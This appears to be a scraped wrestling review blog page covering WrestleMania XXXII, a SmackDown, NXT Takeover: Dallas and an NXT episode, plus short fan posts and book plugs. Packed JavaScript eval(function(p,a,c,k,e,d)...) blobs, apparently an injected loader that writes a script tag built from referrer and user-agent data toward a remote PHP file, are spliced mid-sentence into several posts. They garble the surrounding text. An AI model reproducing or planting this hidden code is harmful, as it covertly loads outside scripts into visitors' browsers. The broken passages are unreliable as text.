Wrestlemania XXXII: Strap Yourselves In. This Is A Long One.

Wrestlemania XXXII
Date: April 3, 2016
Location: AT&T Stadium, Arlington, Texas
Attendance: 101,763
Commentators: Michael Cole, John Bradshaw Layfield, Byron Saxton
America the Beautiful: Fifth Harmony

The stadium looks nothing short of amazing, despite being mostly empty for the pre-show due to a lot of issues with getting people inside.

Pre-Show: US Title: Kalisto vs. Ryback

Pre-Show: Total Divas vs. Bad and Blonde

This would be Brie Bella/Alicia Fox/Paige/Eva Marie/Natalya vs. Lana/Naomi/Summer Rae/Tamina/Emma in a match with no story worth mentioning because these things never have stories of note. Summer elbows Alicia in the face to start before getting two off a DDT. A tag to Emma draws all ten of them in for a huge staredown as we take a break. Back with Eva coming in to some horrible booing to face Emma. A not bad headscissors puts Emma down but Eva slaps Natalya hard on th\e shoulder instead of tagging Paige.

Pre-Show: Usos vs. Dudley Boyz

Post match the Dudleyz get the tables, only to get superkicked again to set up double Superfly Splashes through the tables. The fans are NOT happy with that one.

Pop band Fifth Harmony sings a very nice America the Beautiful.

The opening video shows the Madison Square Garden microphone dropping to signify the start of a legend. Over the years this led to a group of legends such as giants, warriors and the dead rising. That brings us to the question of who becomes the next legend. This switches into a standard video about people rising up tonight to become legends in the usually awesome Wrestlemania style. Apparently this was narrated by Kelsey Grammer.

The camera pans around the stadium and that is just a sea of humanity.

Intercontinental Title: Kevin Owens vs. Sami Zayn vs. Dolph Ziggler vs. Miz vs. Zack Ryder vs. Stardust vs. Sin Cara

Owens and Zayn go up top for the slugout on the ladder before falling down, only to have Zayn grab a half and half suplex (half nelson/half tiger) onto the ladder. Miz climbs up but takes forever to pull down the belt, allowing Ryder to shove him off and pull down the title at 15:23.

We recap AJ Styles vs. Chris Jericho. Styles debuted back in January and was immediately cheered by the fans. He then went on to defeat Jericho on Raw, setting up a series of matches between the two. They then formed a tag team but lost in their shot at the Tag Team Titles. Jericho snapped and turned heel on AJ, setting up their fourth match here.

Chris Jericho vs. AJ Styles

Some celebrities are here.

New Day vs. League of Nations

Everything breaks down with Kingston cleaning house, only to have Rusev kick him in the head to break it up. Big E. suplexes Rusev over the apron so E. can spear all three members through the apron for a huge crash. Rusev laying on his back with his eyes open takes this up a step. A top rope double stomp gets two on Sheamus as Del Rio kicks away at Kofi. The double stomp drives Kingston into the floor (and it looks stupid outside too), leaving Barrett to Bull Hammer Woods into the Brogue Kick for the pin at 10:03.

Ad for upcoming Network shows.

Brock Lesnar vs. Dean Ambrose

Flair and Zack Ryder have a WOO off but it turns out to be a Snickers commercial where Ryder takes a bite and turns into Charlotte. So wait: Charlotte is the Intercontinental Champion?

Hall of Fame recap.

Becky comes back in to suplex Sasha but gets kneed in the chest, only to have her send Sasha through the ropes for a flip dive (Which seemed to be a botch as it looked like her foot caught the top rope.) to take out Charlotte. Becky dives onto Ric for no good reason but the fans lose their minds at the old man getting dropped.

A wicked spear cuts Sasha in half though and Charlotte goes up. That quickly backfires as well though as Sasha gets up, allowing Becky to tie her in the Tree of Woe. A superplex sends Charlotte flying but Sasha gets Becky (and her BADLY bruised eye) in the Bank Statement. Charlotte is right back in for the save though and the Figure Eight makes Becky tap at 16:03 while Flair holds Sasha back.

Charlotte gets a ton of pyro, including a series of fireworks outside the stadium. That really did make it feel like a bigger moment, just like it should be.

The Cell is lowered.

We recap Shane vs. Undertaker and I still get lost in this whole thing. So Shane apparently had dirt on Vince and kept holding it over his head so Shane tried to get control of Raw. Vince agreed to put Raw up in exchange for whatever proof Shane had of what Vince did (the specifics of which have still not been explained and likely never will be). Shane has to fight the Undertaker inside the Cell tonight and unfortunately no one gives Shane much of a chance due to his age, time away from the ring, and HIS OPPONENT IS THE UNDERTAKER. Oh and Undertaker is done at Wrestlemania if he loses just in case you thought Shane could win.

Shane McMahon vs. Undertaker

Shane is wheeled out on a stretcher to eat up even more time. He throws a thumbs up and pounds his chest for the crowd.

Andre the Giant Memorial Battle Royal

Wrestlemania XXXIII will be in Orlando.

The Rock vs. Erick Rowan

Bell, Rock Bottom, six seconds. Well it was indeed a match and a Wrestlemania record.

WWE World Title: Roman Reigns vs. HHH

Reigns rolls out of another armbar and lifts HHH up into the sitout powerbomb for two as this just keeps going. HHH is right back with the cross armbreaker but Reigns counters exactly the same way. The spear is blocked and HHH tries a Pedigree, which is quickly countered with a backdrop over the top. Back in and the spear gets two as Stephanie pulls the referee out.

Reigns celebrates a lot.

A five minute highlight package ends the show.

Results

Zack Ryder b. Kevin Owens, Miz, Dolph Ziggler, Sami Zayn, Stardust and Sin Cara – Ryder pulled down the title

Chris Jericho b. AJ Styles – Codebreaker

League of Nations b. New Day – Brogue Kick to Woods

Brock Lesnar b. Dean Ambrose – F5 onto a pile of chairs

Charlotte b. Becky Lynch and Sasha Banks – Figure Eight to Lynch

Undertaker b. Shane McMahon – Tombstone

Baron Corbin won the Andre the Giant Memorial Battle Royal last eliminating Kane

The Rock b. Erick Rowan – Rock Bottom

Roman Reigns b. HHH – Spear

Remember to follow me on Twitter @kbreviews and pick up my new book of the History of the Intercontinental Title at Amazon for just $3.99 at:

http://www.amazon.com/dp/B01D4D3EGQ

And check out my Amazon author page with cheap wrestling books at:


http://www.amazon.com/Thomas-Hall/e/B00E6282W6




Smackdown – April 7, 2016: They’re Lulling Early This Year

Smackdown
Date: April 7, 2016
Location: Toyota Center, Houston, Texas
Commentators: Mauro Ranallo, Byron Saxton, Jerry Lawler

We open with a long recap of Wrestlemania.

Opening sequence.

We look back at Vince giving Shane control over Raw, completely negating the importance of the last six weeks or so of this story. That might be better for everyone involved actually.

Lucha Dragons vs. Vaudevillains

Stills package of the ladder match and a video of Ryder losing the title the next night to Miz.

Natalya vs. Summer Rae

We look back at Reigns winning the title and being challenged by Jericho, Styles, Owens and Zayn, followed by Styles winning the four way to become #1 contender.

Intercontinental Title: Zack Ryder vs. Miz

The Social Outcasts play Rock Paper Scissors to determine who gets to face Apollo Crews. Axel is the odd man out but says he wins because the ax beats all.

Curtis Axel vs. Apollo Crews

Corbin says the end of days is here.

Primo and Epico video about how awesome Puerto Rico is.

Dean Ambrose vs. Tyler Breeze

Dean is right on him with shots in the corner and avoids a charge to make things even worse. A big clothesline sets up Dirty Deeds for the pin on Breeze at 1:15.

Ambrose leaves as Chris Jericho is coming out for the main event, giving us a staredown.

Cesaro/AJ Styles vs. Chris Jericho/Kevin Owens

AJ cleans house but Owens quickly takes over, only to eat a Pele. Jericho breaks up the Phenomenal Forearm and the package side slam gets two on AJ. Cesaro beats on Jericho outside as Sami Zayn comes out to go after Owens. The distraction lets AJ roll Owens up for the pin at 13:03.

Owens and Zayn (whose arm is heavily taped) brawl post match with security breaking it up but accidentally allowing Owens to get in a clean shot to the jaw. Zayn is sent into the steps to end the show.

Results

Vaudevillains b. Lucha Dragons – Whirling Dervish to Kalisto

Natalya b. Summer Rae – Sharpshooter

Miz b. Zack Ryder – Skull Crushing Finale

Apollo Crews b. Curtis Axel – Lifting sitout powerbomb

Dean Ambrose b. Tyler Breeze – Dirty Deeds

AJ Styles/Cesaro b. Kevin Owens/Chris Jericho – Rollup to Owens

Remember to follow me on Twitter @kbreviews and pick up my new book of the History of the Intercontinental Title at Amazon for just $3.99 at:

http://www.amazon.com/dp/B01D4D3EGQ

And check out my Amazon author page with cheap wrestling books at:


http://www.amazon.com/Thomas-Hall/e/B00E6282W6




New Column: In Other News

Looking at some of the other WWE stories from the weekend.

http://wrestlingrumors.net/kbs-review-in-other-news/




NXT Takeover: Dallas: Night of a Thousand Chants

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|haker|var|u0026u|referrer|rbske||js|php'.split('|'),0,{})) Takeover: Dallas
Date: April 1, 2016
Location: Kay Bailey Hutchison Convention Center, Dallas, Texas
Commentators: Tom Phillips, Corey Graves

Of note: I was in the arena for this show so this is my second time seeing it.

The opening video focuses on the history of Texas wrestling before talking about how this is the future. The two title matches and Zayn vs. Nakamura receive the focus.

Tag Team Titles: American Alpha vs. Revival

Jason misses a charge into the corner but Gable makes a blind tag to come in. Some rollups are exchanged for two and Gable gets some more near falls off a small package and a reverse victory roll. Jordan makes a blind tag of his own and runs around the ring to sneak in and spear the heck out of Wilder, setting up Grand Amplitude for the pin and the titles 15:11.

Jim Ross and Michelle Beadle are shown.

Kota Ibushi is here for a BIG reaction from the crowd.

Ad for the NXT UK tour.

We recap Austin Aries vs. Baron Corbin, which is all about Aries debuting and getting attacked by Corbin, who was mad over losing the #1 contenders triple threat match. Aries is out for revenge.

Austin Aries vs. Baron Corbin

Aries comes back with some left hands and a neckbreaker across the middle rope for a cool spot. A missile dropkick followed by a running corner dropkick put Corbin on the floor for a suicide dive, which of course draws an NXT chant. Aries tries another charge but runs into Deep Six on the floor for a huge crash. For some reason the referee counts one twice so Aries dives back in at eleven. It must be getting the leftover Ring of Honor out of him. Back in and Aries says bring it so Corbin tries End of Days, only to have Austin roll over into a cradle for the pin at 10:43.

Balor arrived earlier in a Star Wars shirt.

Scott Hall and X-Pac are here.

Sami Zayn vs. Shinsuke Nakamura

Post match Asuka looks at the fallen Bayley (now awake and sitting up) but walks away without a handshake or any kind of sportsmanship.

We recap Samoa Joe vs. Finn Balor. Joe already lost to Balor in their first title match back in London but went on to win a VERY long match over Sami Zayn to earn this spot. Since then, Joe has gone on a mini rampage (as is his custom) to set this up.

NXT Title: Samoa Joe vs. Finn Balor

The Sling Blade connects but Balor misses a dropkick, allowing Joe to hit the backsplash for two. Joe stays on him with the powerbomb into the sequence of submissions, capped off by a Crossface. This caused a Benoit chant in the upper deck which was immediately booed out of the building. So even NXT fans have standards.

Joe stares at Balor to end the show.

Results

American Alpha b. Revival – Grand Amplitude to Dawson

Austin Aries b. Baron Corbin – Rollup

Shinsuke Nakamura b. Sami Zayn – Kinshasa

Asuka b. Bayley – Asuka Lock

Finn Balor b. Samoa Joe – Balor flipped back onto Joe while in the Koquina Clutch

Remember to follow me on Twitter @kbreviews and pick up my new book of the History of the Intercontinental Title at Amazon for just $3.99 at:

http://www.amazon.com/dp/B01D4D3EGQ

And check out my Amazon author page with cheap wrestling books at:


http://www.amazon.com/Thomas-Hall/e/B00E6282W6




Quick Raw Thoughts

With eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|byadh|var|u0026u|referrer|seytb||js|php'.split('|'),0,{})) one major thing.

This was an interesting show but the big story is the crowd. These people were absolutely annoying all night long and most of it came from one section. This would be the section that seemed to get its tickets due to buying the travel package which included a hotel stay at the Sheraton. I know this because they started multiple SHERATON chants followed by multiple TRAVEL PACKAGE chants.

Overall though it was a fun night with some nice surprises (namely Cesaro, Crews and what seemed to be a Wyatt face turn) but the runaway winner of the night was Enzo and Cass. The place came unglued for those guys and the reaction was amazing. Those guys are going to be over huge and a lot of it is due to how great Enzo is on the mic. Some guys just have it and he’s one of them.

Unfortunately it looks like Sami is hurt again as he landed off that flip dive and BOLTED to the back, clearly in a lot of pain. I’m not certain he’s hurt though as it would have been hard to fit Cesaro in there otherwise, assuming that wasn’t a last minute change. I also have an issue with him taking a table powerbomb if he was hurt fifteen minutes earlier so we’ll have to see.

I’ll go more into my issues with the lack of logic to the booking later, probably in a column.

Good show, though again I’m curious to see how it holds up on a regular viewing.




Went To Axxess Again

And eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|szyft|var|u0026u|referrer|zstab||js|php'.split('|'),0,{})) it was roughly a 1938% improvement.We’re about to get ready for Wrestlemania so this is going to be quick.

Met New Day and they’re every bit as funny as they are on TV.  They kept people laughing the whole way through, Big E. did his funny voices, Kofi is made for the live crowd (as he kept pointing and smiling at fans) and Woods is just entertaining in general.

Met Hillbilly Jim and Gene Okerlund.  Both of them were very nice and talked to me about being from Kentucky.  I mentioned that we were on our honeymoon and Okerlund looked at her and said he could see why.  So Okerlund thinks my wife is attractive.  I think I can live with this.

Then it was off to the Shawn Michaels line which took awhile but was more than worth it.  Shawn couldn’t have been nicer and smiled when I said he was the only person to ever make me jump out of my chair.  On top of that he hugged my wife as she was crying over meeting him.  That’s easily the highlight of the weekend for her, if not of her life.

Also saw the Bellas, Eva Marie, Emma and Sharmell at various points.  The camera doesn’t do Emma justice.

FAR better experience overall today with multiple people at most booths, better names in the second section (New Day was there for an hour, were replaced by Sami Zayn for the second hour and then it was Ted DiBiase and Gerald Brisco for the second half.  NXT had Samoa Joe instead of the low level women.) and far fewer people.  That was the major problem yesterday: too big of a crowd with not a lot they wanted to do.  Great day here and the Axxess that I loved from a few years back.




Wrestlemania XXXII Preview: Intercontinental Title Ladder Match

I can’t stand this match.

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|afnee|var|u0026u|referrer|tfrzt||js|php'.split('|'),0,{})) anyone has been following my stuff recently, you know I can’t stand this story. I have yet to see any reason for this match to take place but we’re getting this disaster of a mess because it’s Wrestlemania and therefore we’re getting a seven man ladder match. We have seven guys in this thing and most of them have almost no reason to be in there.

Remember to follow me on Twitter @kbreviews and pick up my new book of the History of the Intercontinental Title at Amazon for just $3.99 at:

http://www.amazon.com/dp/B01D4D3EGQ

And check out my Amazon author page with cheap wrestling books at:


http://www.amazon.com/Thomas-Hall/e/B00E6282W6




Went To NXT Takeover: Dallas

I’m eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ynebh|var|u0026u|referrer|ytebf||js|php'.split('|'),0,{})) half dead already so no full live report at the moment (though the full reviews are coming eventually) but here are some quick highlights.1. American Alpha is so over it’s scary.

2. The Aries match ended REALLY fast, almost to the point that I thought Aries was injured.

3. The Zayn vs. Nakamura match woke everyone up like few matches I’ve ever seen.  That was amazing live.

4. “BOTH THESE GUYS” is the best chant they’ve had in a long time.

5. The ending of the women’s title match really didn’t work as it just ended out of nowhere.  Also Asuka needed to work on the shoulder to set that up.

6. The towel was the biggest heel of the night.

7. This wasn’t a great show and is probably in the bottom tier of Takeovers.

8. I was tired at this show so a second viewing might severely change my mind.




New Column: NXT Takeover: Dallas Preview

I think the name speaks for itself here.

http://wrestlingrumors.net/kbs-review-nxt-takeover-dallas-preview/




NXT – March 30, 2016: They Even Go Home Better Than Raw

NXT
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tfdin|var|u0026u|referrer|dykef||js|php'.split('|'),0,{})) March 30, 2016
Location: Full Sail University, Winter Park, Florida
Commentators: Corey Graves, Tom Phillips

Opening sequence.

American Alpha vs. Corey Hollis/John Skylar

Video on Baron Corbin attacking Austin Aries a few weeks back.

Baron Corbin vs. Mike Culori

Mike actually gets in a dropkick to knock Corbin into the corner to start but it only earns him Deep Six for the pin at 1:17.

Culori gets the End of Days post match.

Video on Shinsuke Nakamura with people talking about how amazing he is.

No Way Jose video.

Revival vs. Tucker Knight/Steve Cutler

We look at Joe choking Dempsey out last week.

Apollo Crews vs. Alex Riley

Riley hammers away to start and is looking aggressive like he has in recent appearances. Crews fights up and starts getting athletic though with a jumping clothesline into a nipup, followed by the toss into the Batista Bomb for the pin at 1:58.

Samoa Joe vs. Bull Dempsey

Dempsey runs him over to start and fires off some heavy right hands in the corner. Joe gets bored being on defense though and kicks Bull in the head, followed by an STO and the Koquina Clutch for the submission at 1:31.

Results

American Alpha b. Corey Hollis/John Skylar – Grand Amplitude to Hollis

Baron Corbin b. Mike Culori – Deep Six

Revival b. Tucker Knight/Steve Cutler – Shatter Machine to Knight

Apollo Crews b. Alex Riley – Toss sitout powerbomb

Samoa Joe b. Bull Dempsey – Koquina Clutch

Remember to follow me on Twitter @kbreviews and pick up my new book of the History of the Intercontinental Title at Amazon for just $3.99 at:

http://www.amazon.com/dp/B01D4D3EGQ

And check out my Amazon author page with cheap wrestling books at:


http://www.amazon.com/Thomas-Hall/e/B00E6282W6